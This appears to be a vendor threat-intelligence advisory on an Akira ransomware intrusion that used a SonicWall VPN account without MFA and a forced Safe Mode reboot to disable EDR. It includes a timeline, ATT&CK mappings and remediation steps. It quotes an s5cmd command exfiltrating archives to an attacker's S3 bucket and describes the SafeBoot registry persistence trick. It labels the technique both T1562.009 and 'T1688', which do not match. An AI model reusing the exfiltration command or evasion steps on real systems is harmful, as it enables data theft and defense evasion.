Akira Ransomware Reboots Victims into Safe Mode to Blind EDR and Windows Defender

Akira Ransomware Reboots Victims into Safe Mode to Blind EDR (TL-2026-2062) is a high-severity ransomware operation, first published 2026-08-12. It is attributed to Akira with medium confidence, affects SonicWall SonicOS SSL VPN, maps to 12 MITRE ATT&CK techniques (T1018, T1021.001, T1078), and is covered by 9 detection rules and 13 indicators of compromise.

Key facts for TL-2026-2062

Threat ID
TL-2026-2062
Severity
HIGH
Status
ACTIVE
Category
RANSOMWARE
First published
2026-08-12
Last reviewed
2026-08-12
Attribution
Akira
Attribution confidence
MEDIUM
Motivation
FINANCIAL
Detection rules
9
Indicators of compromise
13

Malware and tooling in Akira Ransomware Reboots Victims into Safe Mode to Blind EDR

Malware and tooling: Akira, AnyDesk, AnyDesk, WinRAR, msconfig.exe, s5cmd

An Akira ransomware affiliate breached a SonicWall SSL VPN account lacking MFA via credential spraying on 2026-08-04, enumerated Active Directory from the domain controller, and used msconfig.exe to force a reboot into Safe Mode with Networking — simultaneously disabling the Huntress EDR agent and Windows Defender real-time protection. The akira.exe payload crashed from virtual-memory exhaustion in the stripped-down Safe Mode environment before it could encrypt files, but the actor had already exfiltrated AD data and file shares to an attacker-controlled AWS S3 bucket via s5cmd, preserving the double-extortion threat.

How Akira Ransomware Reboots Victims into Safe Mode to Blind EDR works

On 2026-08-04, Huntress observed an Akira ransomware affiliate gain initial access to a customer environment through a SonicWall SSL VPN account that had no multi-factor authentication enabled. The intrusion began at 03:45 UTC with a credential-spraying burst against multiple usernames from external IP 72.23.77.35, which succeeded at 03:52:42 UTC. The source Huntress reporting did not attribute this specific login to a named CVE, though Akira affiliates have separately and repeatedly been reported (Arctic Wolf, Rapid7, SonicWall) exploiting the improper-access-control flaw CVE-2024-40766 in SonicOS to obtain or reuse SSL VPN credentials in other 2025-2026 campaigns, and stolen credentials from that flaw have been observed carried forward across firmware upgrades.

Around 05:52 UTC the operator pivoted to hands-on-keyboard activity, using RDP to reach the domain controller from an attacker-controlled workgroup host (WIN-DNCVG09TAT8). From the DC, the actor ran PowerShell Get-ADUser and Get-ADComputer enumeration commands, dumping full account and computer inventories (including PasswordLastSet, LastLogonDate, email addresses, and phone numbers) to C:\ProgramData\AdUsers.txt and C:\ProgramData\AdComp.txt. AnyDesk (client ID 1778787240) was installed for persistent remote access, and the actor added a registry value under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk so the tool would continue functioning even inside Safe Mode.

At 06:29:21 UTC the operator launched msconfig.exe and set the Boot tab to Safe Boot: Network, forcing a restart into Safe Mode with Networking (recorded as Kernel-Boot Event ID 27, SAFEBOOT:NETWORK, and Kernel-General Event ID 12, BootMode=2). This is the first documented case of Akira using a Safe Mode reboot to blind security tooling — a technique Huntress notes was previously seen only from the Snatch and AvosLocker ransomware families, and which maps to MITRE ATT&CK T1562.009 (Impair Defenses: Safe Mode Boot). The reboot stopped the third-party Huntress agent and disabled Windows Defender real-time protection (logged as Defender Event ID 3002, error 0x8007043c).

Before triggering the reboot, the actor archived harvested AD data and file-share contents with WinRAR (a -ep1 -scul -r0 -iext -imon1) and exfiltrated the archives to an attacker-controlled AWS S3 bucket using the open-source CLI tool s5cmd (s5cmd cp --sp "E:\upload*" s3://<attacker-bucket>/), preserving a double-extortion leverage point independent of whether encryption succeeded.

akira.exe executed at 06:34:29 UTC. At 06:36:21 UTC a burst of child processes began, and within seconds the environment produced cascading "Virtual Memory Minimum Too Low" and "Out of Virtual Memory" errors followed by PowerShell failures — Safe Mode's stripped-down driver and memory footprint starved the encryption routine before it could complete. Windows Defender flagged the ransomware binary at 07:43:50 UTC but could not quarantine it while real-time protection remained disabled. The host was rebooted back to normal mode at 08:10:38 UTC, and Defender successfully quarantined akira.exe at 08:12:28 UTC. Huntress published its public analysis of the intrusion on 2026-08-12.

Akira is a closed ransomware-as-a-service operation, believed to share code lineage with the leaked Conti source base, first tracked by CISA/FBI since March 2023 and named the most active ransomware operation observed in Huntress telemetry through 2025. CISA, the FBI, DC3, HHS, and international partners maintain a joint #StopRansomware advisory (AA24-109A, originally published 2024-04-18 and updated 2025-11-13) documenting Akira's TTPs, including brute-force RDP access, credential dumping, cloud-based exfiltration tooling (rclone, FileZilla, WinSCP, and — per this Huntress incident — s5cmd), and a Tor-hosted double-extortion leak site.

MITRE ATT&CK techniques used in TL-2026-2062

Discovery

T1018 Remote System Discovery; T1087.002 Domain Account

Lateral Movement

T1021.001 Remote Desktop Protocol; T1570 Lateral Tool Transfer

Initial Access

T1078 Valid Accounts; T1133 External Remote Services

Credential Access

T1110.003 Password Spraying

defense-impairment

T1112 Modify Registry; T1688 Safe Mode Boot

Command and Control

T1219 Remote Access Tools

Collection

T1560.001 Archive via Utility

Exfiltration

T1567.002 Exfiltration to Cloud Storage

Affected products and versions in Akira Ransomware Reboots Victims into Safe Mode to Blind EDR

  • SonicWall — SonicOS SSL VPN
    Vulnerable versions: VPN accounts configured without MFA (specific SonicOS build not disclosed in the source reporting)
  • Microsoft — Windows Server / Windows (Safe Mode with Networking)
    Vulnerable versions: Domain-joined Windows Server (domain controller) and Windows endpoints supporting Safe Boot: Network via msconfig.exe

Remediation for Akira Ransomware Reboots Victims into Safe Mode to Blind EDR

Patches

  • Apply current SonicWall SonicOS firmware and confirm the device is not still exposed to CVE-2024-40766 (improper access control, CVSS 9.3, on CISA KEV since 2024-09-09)

Immediate actions

  • Enforce MFA on all SonicWall SSL VPN accounts; audit for any accounts still authenticating without a second factor
  • Alert on bursts of failed VPN logins across multiple usernames from a single external IP followed by a successful authentication (credential spraying)
  • Alert on msconfig.exe / bcdedit execution outside change-management windows, especially from privileged or domain-controller sessions
  • Alert on Kernel-Boot Event ID 27 with a SAFEBOOT load option and Kernel-General Event ID 12 BootMode=2, and on third-party security services stopping (System Event ID 7036) immediately after a reboot
  • Monitor for new entries under HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal and \Network — legitimate services are rarely added there

Workarounds

  • Disable or remove unused/legacy local VPN accounts that lack MFA
  • Restrict AnyDesk and other unmanaged remote-access software via application allowlisting

Longer-term hardening

  • Deploy EDR/tamper protection capable of surviving or blocking a forced Safe Mode reboot
  • Restrict which accounts/processes can modify the SafeBoot registry hive via Group Policy or endpoint controls
  • Apply least privilege to accounts capable of bulk Active Directory enumeration (Get-ADUser/Get-ADComputer at scale)
  • Monitor outbound traffic to AWS S3 and other cloud-storage endpoints for anomalous bulk uploads from tools such as s5cmd, rclone, WinSCP, or FileZilla
  • Rotate all VPN and domain credentials on any SonicWall device with a history of CVE-2024-40766 exposure, since harvested credentials have been observed carried forward across later firmware updates

Timeline of Akira Ransomware Reboots Victims into Safe Mode to Blind EDR

  • 08:12:28 UTC — Windows Defender successfully quarantines akira.exe now that real-time protection is restored
  • 08:10:38 UTC — Host reboots back into normal Windows mode
  • 07:43:50 UTC — Windows Defender flags the ransomware binary but cannot quarantine it while real-time protection remains disabled (Event ID 3002, error 0x8007043c)
  • 06:36:33 UTC — Cascading "Virtual Memory Minimum Too Low" / "Out of Virtual Memory" errors and PowerShell failures halt the encryption routine before files are encrypted
  • 06:36:21 UTC — Burst of child processes spawned by the ransomware payload begins
  • 06:34:29 UTC — akira.exe ransomware payload executes inside the Safe Mode session
  • 06:29:21 UTC — Operator runs msconfig.exe, sets Boot tab to Safe Boot: Network, forcing a SAFEBOOT:NETWORK reboot (Kernel-Boot EID 27, Kernel-General EID 12 BootMode=2)
  • ~05:52 UTC — Hands-on-keyboard activity begins; operator RDPs from workgroup host WIN-DNCVG09TAT8 to the domain controller
  • 03:52:42 UTC — Successful SSL VPN authentication to an account with no MFA enabled
  • 03:45 UTC — Credential-spraying burst begins against the SonicWall SSL VPN from external IP 72.23.77.35, targeting multiple usernames
  • Huntress publishes its public analysis of the intrusion, describing the first documented Akira use of a forced Safe Mode reboot to disable EDR and Windows Defender

Sources cited for Akira Ransomware Reboots Victims into Safe Mode to Blind EDR

Threats related to Akira Ransomware Reboots Victims into Safe Mode to Blind EDR

Detection coverage for TL-2026-2062

As of 2026-08-12, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2062 across Splunk SPL, Microsoft KQL and Sigma, covering 13 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats